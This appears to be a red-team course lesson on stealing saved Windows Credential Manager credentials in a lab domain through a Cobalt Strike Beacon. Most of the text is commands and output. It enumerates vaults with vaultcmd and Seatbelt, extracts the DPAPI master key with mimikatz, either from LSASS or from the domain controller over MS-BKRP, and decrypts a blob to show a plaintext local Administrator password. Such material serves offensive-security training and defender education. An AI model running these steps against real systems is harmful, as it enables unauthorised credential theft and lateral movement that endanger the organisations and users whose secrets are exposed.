Credential Manager

The way the Windows Credential Manager works is a bit confusing at first - if you read up on the subject, you'll find both the terms "Vaults" and "Credentials". A "vault" essentially holds records of encrypted credentials and a reference to the encrypted blobs. Windows has two vaults: Web Credentials (for storing browser credentials) and Windows Credentials (for storing credentials saved by mstsc, etc). A "credential" is the actual encrypted credential blob.

To enumerate a user's vaults, you can use the native vaultcmd tool.

beacon> run vaultcmd /list

Currently loaded vaults:
	Vault: Web Credentials
	Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

	Vault: Windows Credentials
	Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
	Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault

beacon> run vaultcmd /listcreds:"Windows Credentials" /all

Credentials in vault: Windows Credentials

Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity: SQL-2\Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)

\

Another is to use Seatbelt with the -group=user parameter, or more specifically, the WindowsVault parameter.

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

====== WindowsVault ======

  Vault GUID     : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Vault Type     : Web Credentials
  Item count     : 0

  Vault GUID     : 77bc582b-f0a6-4e15-4e80-61736b6f3b29
  Vault Type     : Windows Credentials
  Item count     : 1
      SchemaGuid   : 3e0e35be-1b77-43e7-b873-aed901b6275b
      Resource     : String: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
      Identity     : String: SQL-2\Administrator
      PackageSid   : (null)
      Credential   : 
      LastModified : 9/6/2022 9:12:12 AM

\

Based on this, we now know that the user has saved credentials for the local administrator account on SQL-2. The encrypted credentials themselves are stored in the users' "Credentials" directory.

beacon> ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials
[*] Listing: C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 468b     fil     09/06/2022 10:34:22   6C33AC85D0C4DCEAB186B3B2E5B1AC7C
 10kb     fil     08/30/2022 08:42:59   DFBE70A7E5CC19A398EBF1B96859CE5D

\

Seatbelt can also enumerate them using the WindowsCredentialFiles parameter.

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles

====== WindowsCredentialFiles ======

  Folder : C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\

    FileName     : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
    Description  : Local Credential Data

    MasterKey    : bfc5090d-22fe-4058-8953-47f6882f549e
    Accessed     : 9/6/2022 10:50:44 AM
    Modified     : 9/6/2022 10:50:44 AM
    Size         : 468

    FileName     : DFBE70A7E5CC19A398EBF1B96859CE5D
    Description  : Local Credential Data

    MasterKey    : bfc5090d-22fe-4058-8953-47f6882f549e
    Accessed     : 9/6/2022 10:50:44 AM
    Modified     : 9/6/2022 10:50:44 AM
    Size         : 11036

As far as I'm aware, there is no way to know which credential blob belong to which vault; and by extension, if a vault has multiple entries, which credential blob corresponds to which. This just ends with us having to decrypt each one in turn.

\

Seatbelt also provides the GUID of the master key used to encrypt the credentials. The master keys are stored in the users' roaming "Protect" directory. But guess what... they're also encrypted.

beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104
[*] Listing: C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 740b     fil     08/15/2022 17:34:31   bfc5090d-22fe-4058-8953-47f6882f549e
 928b     fil     08/15/2022 17:34:31   BK-DEV
 24b      fil     08/15/2022 17:34:31   Preferred

\

So we must decrypt the master key first to obtain the actual AES128/256 encryption key, and then use that key to decrypt the credential blob. There are two ways of doing this.

The first is only possible if you have local admin access on the machine and if the key is cached in LSASS. It will not be in the cache if the user has not recently accessed/decrypted the credential.

beacon> mimikatz !sekurlsa::dpapi

Authentication Id : 0 ; 1075454 (00000000:001068fe)
Session           : RemoteInteractive from 2
User Name         : bfarmer
Domain            : DEV
Logon Server      : DC-2
Logon Time        : 9/6/2022 9:09:54 AM
SID               : S-1-5-21-569305411-121244042-2357301523-1104
	 [00000000]
	 * GUID      :	{bfc5090d-22fe-4058-8953-47f6882f549e}
	 * Time      :	9/6/2022 11:27:44 AM
	 * MasterKey :	8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
	 * sha1(key) :	897f7bf129e6a898ff4e20e9789009d5385be1f3

\

We can see that the GUID matches what we are looking for, so the key 8d1539[...]19c214 is the one we need.

Another way to obtain the master key (which does not require elevation or interaction with LSASS), is to request it from the domain controller via the Microsoft BackupKey Remote Protocol (MS-BKRP). This is designed as a failsafe in case a user changes or forgets their password, and to support various smart card functionality.

beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc

[domainkey] with RPC
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
  key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
  sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3

This will only work if executed in the context of the user who owns the key. If your Beacon is running as another user or SYSTEM, you must impersonate the target user somehow first, then execute the command using the @ modifier.

\

Finally, the blob can be decrypted.

beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214

  TargetName     : Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
  UserName       : SQL-2\Administrator
  CredentialBlob : wIfY&cZ&d?QP9iMFEzckmj.34=@sg.*i

Last updated